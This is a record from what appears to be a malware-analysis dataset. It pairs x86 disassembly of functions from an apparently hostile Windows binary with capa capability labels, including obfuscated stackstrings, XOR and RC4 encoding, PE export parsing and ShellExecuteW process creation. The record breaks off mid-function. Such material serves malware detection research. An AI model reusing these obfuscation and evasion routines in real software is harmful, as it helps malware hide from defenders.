joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d10
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, 0xffffffff
cmp dword [esp + 0x28], 0
je 0x405efa
mov esi, dword [esp + 0x2c]
test esi, esi
je 0x405efa
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x405efa
cmp dword [ecx], 0
jne 0x405efa
push esi
call fcn.0040cc50
add esp, 4
test eax, eax
je 0x405d7a
mov ecx, 0x1505
xor ebx, ebx
nop
nop
nop
nop
movzx edx, byte [esi + ebx]
test edx, edx
je 0x405d81
mov edi, ecx
shl edi, 5
add edi, ecx
add edi, edx
inc ebx
mov ecx, edi
cmp eax, ebx
jne 0x405d60
jmp 0x405d83
mov edi, 0x1505
jmp 0x405d83
mov edi, ecx
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 0x20]
lea ebx, [edx - 1]
mov esi, edx
sub esi, 1
mov dword [esp + 0xc], esi
jae 0x405e54
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x405de1
call fcn.00405fc0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov esi, dword [esp + 0x2c]
jne 0x405efa
push esi
call fcn.0040cc50
add esp, 4
mov edx, esi
lea esi, [esp + 0x10]
mov ecx, dword [esp + 0x28]
push esi
push edi
push eax
call fcn.00405f10
add esp, 0xc
mov ebp, eax
mov esi, dword [esp + 0x2c]
push esi
call fcn.0040cc50
add esp, 4
mov ebx, eax
inc eax
push eax
call dword [0x44a008]
add esp, 4
test eax, eax
je 0x405ef5
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040cb40
add esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov esi, dword [esp + 0x30]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], edi
inc dword [edx + 0x18]
mov eax, dword [edx]
mov dword [esi], eax
xor eax, eax
jmp 0x405efa
mov dword [esp], eax
and ebx, edi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x405e78
inc ebx
dec edx
je 0x405d9c
mov ebp, ebx
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov esi, dword [eax + ebp*4]
cmp esi, 0xffffffff
je 0x405da1
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], edi
jne 0x405e70
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + esi*4]
push ebp
mov dword [esp + 8], edx
call fcn.0040cc50
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x2c]
add esp, 4
cmp eax, dword [esp]
jne 0x405e70
push dword [esp]
push ebp
push dword [esp + 0x34]
call fcn.0040cc70
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
add esp, 0xc
test eax, eax
jne 0x405e70
mov eax, dword [ecx + 0x10]
push dword [eax + esi*4]
call fcn.00404e40
mov edx, dword [esp + 0x2c]
add esp, 4
mov eax, dword [edx + 0x10]
mov ecx, dword [esp + 0x30]
mov dword [eax + esi*4], ecx
mov esi, ecx
jmp 0x405e49
mov eax, 0xffffffff
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406f80
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x407126
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x40711f
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
jmp 0x407015
mov eax, dword [esp]
sub eax, dword [esp + 4]
add ebp, eax
mov esi, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp]
mov edx, 0x15b0
je 0x40711f
xor ebx, ebx
cmp edx, 8
mov dword [esp], edx
mov dword [esp + 8], esi
jb 0x40708e
mov ebx, edx
and ebx, 0x1ff8
xor eax, eax
nop
nop
nop
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
add ecx, eax
movzx esi, byte [ebp + edx + 1]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 2]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 3]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 4]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 5]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 6]
add eax, esi
add ecx, eax
movzx edi, byte [ebp + edx + 7]
add edi, eax
add ecx, edi
lea eax, [edx + 8]
add edx, 0xf
cmp edx, dword [esp]
mov edx, dword [esp]
jb 0x407030
add ebp, eax
mov esi, dword [esp + 8]
mov eax, ebx
sub eax, edx
jae 0x406fdd
mov dword [esp + 0xc], eax
mov eax, edx
and eax, 3
mov dword [esp + 4], ebx
je 0x4070d0
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
movzx esi, byte [edx]
inc edx
add edi, esi
add ecx, edi
dec ebx
cmp eax, ebx
jne 0x4070b0
mov eax, dword [esp + 4]
sub eax, ebx
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406fd0
jmp 0x4070df
mov eax, ebx
mov edx, ebp
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406fd0
mov ebx, dword [esp]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp ebx, eax
jne 0x4070f0
jmp 0x406fd0
shl ecx, 0x10
or ecx, edi
jmp 0x40712b
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407140
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x40716e
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test ebx, ebx
je 0x40720c
not eax
test bl, 1
jne 0x407175
mov edx, ebx
cmp ebx, 1
jne 0x4071a6
jmp 0x40720a
xor eax, eax
jmp 0x40720c
lea edx, [ebx - 1]
movzx esi, byte [ecx]
mov edi, eax
shr edi, 4
xor eax, esi
and eax, 0xf
xor edi, dword [eax*4 + 0x447c50]
inc ecx
mov eax, edi
shr eax, 4
and edi, 0xf
shr esi, 4
xor esi, edi
xor eax, dword [esi*4 + 0x447c50]
cmp ebx, 1
je 0x40720a
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x447c50]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x447c50]
movzx edi, byte [ecx + esi + 1]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x447c50]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x447c50]
add esi, 2
cmp edx, esi
jne 0x4071b0
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x40c9f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x14]
mov ebx, dword [edx + 8]
mov esi, 1
cmp ebx, eax
jae 0x40ca5c
mov edi, edx
cmp dword [esp + 0x18], 0
je 0x40ca3e
cmp ebx, 1
adc ebx, 0
cmp ebx, eax
jae 0x40ca40
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
and edx, 0xfffffffd
mov ebp, ebx
and ebp, 2
or ebx, 2
imul ebx, ebp
xor ebp, 2
imul ebp, edx
add ebx, ebp
cmp ebx, eax
jb 0x40ca20
jmp 0x40ca40
mov ebx, eax
push ebx
push dword [edi + 0xc]
push dword [edi]
push dword [ecx + 0x34]
call dword [ecx + 0x30]
add esp, 0x10
test eax, eax
je 0x40ca5a
mov dword [edi], eax
mov dword [edi + 8], ebx
jmp 0x40ca5c
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40d240
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.004407b0
test al, al
je 0x40d466
mov dword [esp], 0x919eb683
mov dword [esp + 4], 0
mov eax, 0x5cb5fee5
mov ecx, 0xa34a011a
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x5cb5fee5]
mov edi, ecx
and edi, 0xa2080116
mov edx, eax
and edx, 0x4004bea9
or edx, edi
xor edx, esi
mov esi, edx
and esi, 1
and edx, 0xfe
xor edx, 0x57
add edx, esi
add dl, 0x86
mov byte [esp + eax - 0x5cb5fee5], dl
inc eax
dec ecx
cmp eax, 0x5cb5feed
jne 0x40d270
mov eax, dword [esp]
mov edx, eax
xor edx, 0xc97ed9
mov ecx, eax
or ecx, 0xff368126
and ecx, edx
mov edx, eax
and edx, 0xc97ed9
or eax, 0xc97ed9
imul eax, edx
xor edx, 0xc97ed9
mov esi, ecx
not esi
and esi, edx
imul esi, ecx
or edx, ecx
and ecx, 0xc97ed9
imul ecx, edx
add eax, ecx
add eax, esi
mov ecx, eax
shr ecx, 7
lea edx, [eax + eax]
not edx
add edx, eax
lea esi, [ecx + ecx]
not esi
add esi, ecx
and esi, eax
not eax
and eax, ecx
and eax, edx
xor eax, esi
mov edx, eax
and edx, 0xb9fe1a8
mov ecx, eax
or ecx, 0xb9fe1a8
imul ecx, edx
xor edx, 0xb9fe1a8
mov dword [esp], 0x5107e6b
mov word [esp + 4], 0
and eax, 0xf4601e57
imul eax, edx
xor edx, edx
mov ebx, edx
add bl, 0xfe
xor bl, byte [esp + edx]
add bl, 0xa
mov byte [esp + edx], bl
inc edx
cmp edx, 6
jne 0x40d340
add eax, ecx
cmp eax, dword [esp]
jne 0x40d42f
mov dword [esp], 0x31413f59
mov dword [esp + 4], 0x350c3354
mov dword [esp + 8], 0x49be3753
mov dword [esp + 0xc], 0x4d6a4b2f
mov dword [esp + 0x10], 0x412b4f7d
mov dword [esp + 0x14], 0x4340
mov word [esp + 0x18], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx]
mov edi, eax
and edi, 0x2a
mov edx, ecx
xor edx, 0x4d42c335
add edx, edi
mov edi, edx
and edi, esi
add edi, edi
add edx, esi
mov esi, edx
sub esi, edi
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
add dl, 0xf6
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x1a
jne 0x40d3a0
mov dword [esp + 0x1c], 0x9706990b
mov dword [esp + 0x20], 0x93009509
mov dword [esp + 0x24], 0x9190
mov dword [esp + 0x28], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x26
xor cl, byte [esp + eax + 0x1c]
add cl, 0x42
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x10
jne 0x40d400
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x4493da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00438790
test al, al
je 0x40d461
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d44e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e390
test al, al
je 0x40d461
call fcn.00410eb0
call fcn.0040fbb0
call fcn.00442090
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d4c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x404
mov dword [esp], ecx
mov esi, dword [esp + 0x418]
movzx eax, word [esi]
lea ebp, [esp + 4]
test ax, ax
je 0x40d5fb
mov edx, 0x1ff
nop
nop
nop
nop
nop
nop
nop
movzx ebx, ax
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x40d510
lea eax, [ebp + 1]
mov byte [ebp], bl
jmp 0x40d5a0
cmp ebx, 0x7ff
ja 0x40d540
cmp edx, 2
jb 0x40d540
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ebp], al
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 1], bl
lea eax, [ebp + 2]
jmp 0x40d5a0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x40d5ba
cmp edx, 4
jb 0x40d5ba
movzx ecx, word [esi + 2]
add esi, 4
shl ebx, 0xa
add ebx, ecx
add ebx, 0xfca02400
mov eax, ebx
shr eax, 0x12
add al, 0xf0
mov byte [ebp], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
shr ebx, 6
mov eax, ebx
xor eax, 0xc0
or ebx, 0x3f
and ebx, eax
add bl, 0x80
mov byte [ebp + 2], bl
and cl, 0x3f
or cl, 0x80
lea eax, [ebp + 4]
mov byte [ebp + 3], cl
mov edi, esi
nop
nop
add edx, ebp
sub edx, eax
mov esi, edi
mov ebp, eax
movzx eax, word [esi]
test ax, ax
je 0x40d5fb
test edx, edx
jne 0x40d4f0
jmp 0x40d5fb
movzx eax, ax
cmp eax, 0xdc00
jne 0x40d5c8
mov esi, edi
jmp 0x40d5a8
cmp edx, 3
jb 0x40d5f7
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
mov ecx, ebx
not ecx
or ecx, 0x3f
add ecx, ebx
add cl, 0x81
lea eax, [ebp + 3]
mov byte [ebp + 2], cl
jmp 0x40d5a0
mov eax, ebp
jmp 0x40d5a0
mov esi, dword [esp + 0x420]
mov edx, dword [esp + 0x41c]
mov byte [ebp], 0
movzx ebx, byte [esp + 4]
lea eax, [esp + 0x204]
mov ecx, eax
test bl, bl
je 0x40d646
lea ecx, [esp + 0x204]
lea edi, [esp + 5]
jmp 0x40d63b
mov byte [ecx], bh
inc ecx
movzx ebx, byte [edi]
inc edi
test bl, bl
je 0x40d646
mov bh, 0x2f
cmp bl, 0x5c
je 0x40d630
mov bh, bl
jmp 0x40d630
mov byte [ecx], 0
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push esi
push edx
push eax
push ecx
call fcn.00409260
add esp, 0x28
test eax, eax
setne al
add esp, 0x404
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40d700
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x60]
mov dword [esp + 0x10], eax
mov word [esp], 0xd13
mov byte [esp + 2], 6
mov dword [esp + 3], 0
xor edi, edi
nop
movzx eax, byte [esp + edi]
mov ebx, edi
and ebx, 1
mov ebp, edi
and ebp, 6
xor ebp, 0xc51d437f
sub ebx, ebp
xor ebx, eax
mov eax, ebx
xor eax, 0x39
and ebx, 0x46
add ebx, ebx
sub ebx, eax
add bl, 0xb4
mov byte [esp + edi], bl
inc edi
cmp edi, 7
jne 0x40d730
mov dword [esp + 8], 0x1a241802
mov dword [esp + 0xc], 0x2f26
mov ebx, 0xe32dfb37
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebx + 0x1cd204d1]
xor eax, ebx
mov edi, eax
and edi, 1
or eax, 1
add eax, edi
add al, 0xec
mov byte [esp + ebx + 0x1cd204d1], al
inc ebx
cmp ebx, 0xe32dfb3f
jne 0x40d780
mov dword [esp + 0x18], 0xfef0c4c5
mov dword [esp + 0x1c], 0xf2f2c0c4
mov dword [esp + 0x20], 0xf78af0c5
mov dword [esp + 0x24], 0xeaefe693
mov dword [esp + 0x28], 0xd2ef9392
mov dword [esp + 0x2c], 0x98cd0739
mov dword [esp + 0x30], 0x9de7959e
mov dword [esp + 0x34], 0xdefae0a8
mov dword [esp + 0x38], 0xa0a5a1a3
mov dword [esp + 0x3c], 0xa8d7a1d5
mov dword [esp + 0x40], 0xd51ae3ae
mov dword [esp + 0x44], 0xf2b3b7b3
mov dword [esp + 0x48], 0xc2bec0cc
mov dword [esp + 0x4c], 0xceb80df7
mov dword [esp + 0x50], 0x9efc4bd
mov byte [esp + 0x54], 0xd4
mov dword [esp + 0x55], 0
mov byte [esp + 0x59], 0
mov ebx, 0xc3
mov ebp, 0x7840813b
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ebx - 0xab]
lea ecx, [ebx - 0x3c2040ff]
mov eax, ebp
xor eax, ecx
and eax, edi
xor eax, ecx
add al, 0x2c
mov byte [esp + ebx - 0xab], al
inc ebx
dec ebp
cmp ebx, 0x105
jne 0x40d840
mov eax, dword [esp + 0x70]
add eax, dword [esp + 0x10]
movzx ebx, byte [esp + 0x18]
mov edi, eax
test bl, bl
je 0x40d89c
lea ebp, [esp + 0x19]
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [ebp]
inc ebp
test bl, bl
jne 0x40d890
mov byte [edi], 0
movzx ebx, byte [esi]
test bl, bl
je 0x40d8bb
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d8b0
mov byte [edi], 0
movzx ebx, byte [esp + 8]
test bl, bl
je 0x40d8db
lea esi, [esp + 9]
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d8d0
mov byte [edi], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40d8fb
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40d8f0
mov byte [edi], 0
movzx edx, byte [esp]
test dl, dl
je 0x40d91b
lea esi, [esp + 1]
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40d910
mov byte [edi], 0
sub edi, eax
mov eax, dword [esp + 0x14]
add dword [eax + 0x60], edi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40edc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
movzx ebx, byte [edx]
test bl, bl
je 0x40f017
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x1c]
dec edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x40edfc
cmp edx, esi
jae 0x40f017
test edi, edi
je 0x40f017
movzx ebp, bl
test bl, bl
js 0x40ee30
inc edx
lea ecx, [eax + 2]
mov word [eax], bp
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x24]
mov bh, byte [edx]
mov bl, bh
test bh, bh
jne 0x40edf0
jmp 0x40f017
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0x40ee77
cmp bl, 0xc2
jb 0x40ee20
movzx esi, byte [edx + 1]
mov ecx, esi
xor ecx, 0xffffff3f
mov ebx, esi
or ebx, 0xc0
and ebx, ecx
cmp ebx, 0x80
jne 0x40eff2
and ebp, 0x1f
shl ebp, 6
add edx, 2
and esi, 0x3f
or esi, ebp
jmp 0x40ef25
mov ecx, ebp
and ecx, 0xfffffff0
cmp ecx, 0xe0
jne 0x40eea5
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0x40eedd
cmp ebp, 0xe0
jne 0x40eee6
mov ebx, ecx
add bl, 0x40
cmp bl, 0xe0
jb 0x40ee1c
jmp 0x40eee6
mov ecx, ebp
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x40eff8
cmp bl, 0xf4
ja 0x40ee20
movzx ecx, byte [edx + 1]
je 0x40ef30
cmp ebp, 0xf0
jne 0x40ef39
mov bh, cl
add bh, 0x40
cmp bh, 0xd0
jb 0x40ee1c
jmp 0x40ef39
cmp cl, 0x9f
ja 0x40ee1c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40eff2
mov bh, byte [edx + 2]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40efff
shl ebp, 0xc
and ecx, 0x3f
shl ecx, 6
or ecx, ebp
add edx, 3
mov esi, dword [esp]
and esi, 0x3f
or esi, ecx
lea ecx, [eax + 2]
mov word [eax], si
jmp 0x40ee12
cmp cl, 0x8f
ja 0x40ee1c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40eff2
mov bh, byte [edx + 2]
movzx ebp, bh
mov esi, ebp
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40efff
mov bh, byte [edx + 3]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40f00b
and bl, 7
movzx esi, bl
shl esi, 0x12
and ecx, 0x3f
shl ecx, 0xc
or ecx, esi
and ebp, 0x3f
shl ebp, 6
or ebp, ecx
add edx, 4
mov ecx, ebp
and ecx, 0x1ff800
cmp ecx, 0xd800
je 0x40ee1c
mov ecx, dword [esp]
and ecx, 0x3f
or ecx, ebp
cmp ecx, 0x10000
jb 0x40ee1c
cmp edi, 2
jb 0x40eff8
add ebp, 0xf0000
shr ebp, 0xa
and ebp, 0x3ff
or ebp, 0xd800
mov word [eax], bp
and ecx, 0x3ff
or ecx, 0xdc00
mov word [eax + 2], cx
lea ecx, [eax + 4]
jmp 0x40ee12
inc edx
jmp 0x40ee1c
mov ecx, eax
jmp 0x40ee12
add edx, 2
mov esi, dword [esp + 0x24]
jmp 0x40ee22
add edx, 3
mov esi, dword [esp + 0x24]
jmp 0x40ee22
mov word [eax], 0
sub eax, dword [esp + 0x18]
sar eax, 1
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40f580
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x150
mov esi, esp
mov eax, dword [ebp + 8]
mov dword [esi + 0x5c], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x50], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0x3c
mov dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x54], 0xffffffff
mov edx, 0xfffffffe
mov ecx, dword [0x450e28]
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + edx + 2], 0
lea edx, [edx + 2]
jne case.default.0x40f62e
sar edx, 1
lea edi, [esi + 0x24]
push edi
push 0
push edx
push eax
call ecx
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44adac]
xor eax, eax
jmp 0x40fb9b
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x41c6e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov edi, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + esi + 2], 0
lea esi, [esi + 2]
jne 0x41c700
mov ebx, dword [eax + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41c720
sar esi, 1
sar eax, 1
lea ecx, [esi + eax]
add ecx, 2
test ecx, ecx
jns 0x41c740
mov eax, 0xffffffff
jmp 0x41c749
add eax, esi
lea eax, [eax*2 + 4]
push eax
call fcn.0040cb10
add esp, 4
mov ebp, eax
movzx ecx, word [ebx]
test cx, cx
je 0x41c781
add ebx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x41c770
mov word [eax], 0
mov word [eax], 0x5c
add eax, 2
movzx ecx, word [edi]
test cx, cx
je 0x41c7b1
lea edx, [edi + 2]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41c7a0
mov word [eax], 0
lea eax, [esp + 4]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.00445090
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c594]
Function at 0x41ca90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1100
call fcn.0040ca70
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41cab0
sar esi, 1
lea ecx, [esp + 0x30]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x452160]
mov ebx, dword [esp + 0x30]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41cae4
mov eax, 0xffffffff
jmp 0x41cae7
lea eax, [ebx + ebx]
push eax
call fcn.0040cb10
add esp, 4
lea ecx, [esp + 0x30]
push ecx
push ebx
mov dword [esp + 0x2c], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x452160]
mov eax, dword [esp + 0x30]
mov ecx, eax
and ecx, 0xd
xor eax, 0xd
lea eax, [eax + ecx*2]
test eax, eax
js 0x41cb21
add eax, eax
mov edi, eax
push edi
call fcn.0040cb10
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0xfc], 0x23de21cc
mov dword [esp + 0x100], 0x27b525c5
mov dword [esp + 0x104], 0xdbfad94c
mov dword [esp + 0x108], 0xdf3bdd2a
mov dword [esp + 0x10c], 0xd341d142
mov dword [esp + 0x110], 0xd749d54d
mov dword [esp + 0x114], 0xcbcac956
mov word [esp + 0x118], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0xfc]
mov edx, eax
xor edx, 0x5a9b2507
mov esi, eax
or esi, 0x18
and esi, edx
mov edx, esi
and edx, 0x1d
mov ebx, esi
and ebx, 2
or esi, 2
imul esi, ebx
xor ebx, 2
imul ebx, edx
mov edx, eax
xor edx, 0xa564daf8
add edx, esi
add edx, ebx
mov esi, ecx
and esi, edx
mov edi, esi
and edi, 2
mov ebx, esi
or esi, 2
imul esi, edi
xor edi, 2
and ebx, 0xfffffffd
imul ebx, edi
add esi, ebx
mov ebx, esi
not ebx
and ebx, edx
not edx
and edx, esi
sub ebx, edx
add bl, cl
add bl, 0x28
mov byte [esp + eax + 0xfc], bl
inc eax
cmp eax, 0x1e
jne 0x41cb90
mov eax, dword [esp + 0x24]
movzx ecx, word [eax]
mov edi, dword [esp + 4]
mov eax, edi
test cx, cx
je 0x41cc31
mov eax, dword [esp + 0x24]
lea edx, [eax + 2]
mov eax, edi
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41cc20
mov word [eax], 0
movzx ecx, word [esp + 0xfc]
test cx, cx
je 0x41cc61
lea edx, [esp + 0xfe]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41cc50
mov word [eax], 0
lea eax, [esp + 0x90]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00445090
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c96c]
Function at 0x420da0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x40
mov edx, dword [esp + 0x5c]
xor eax, eax
test edx, edx
setne al
xor ebx, ebx
mov dword [esp + 0x3c], 0
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x44cbf4]
Function at 0x422ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
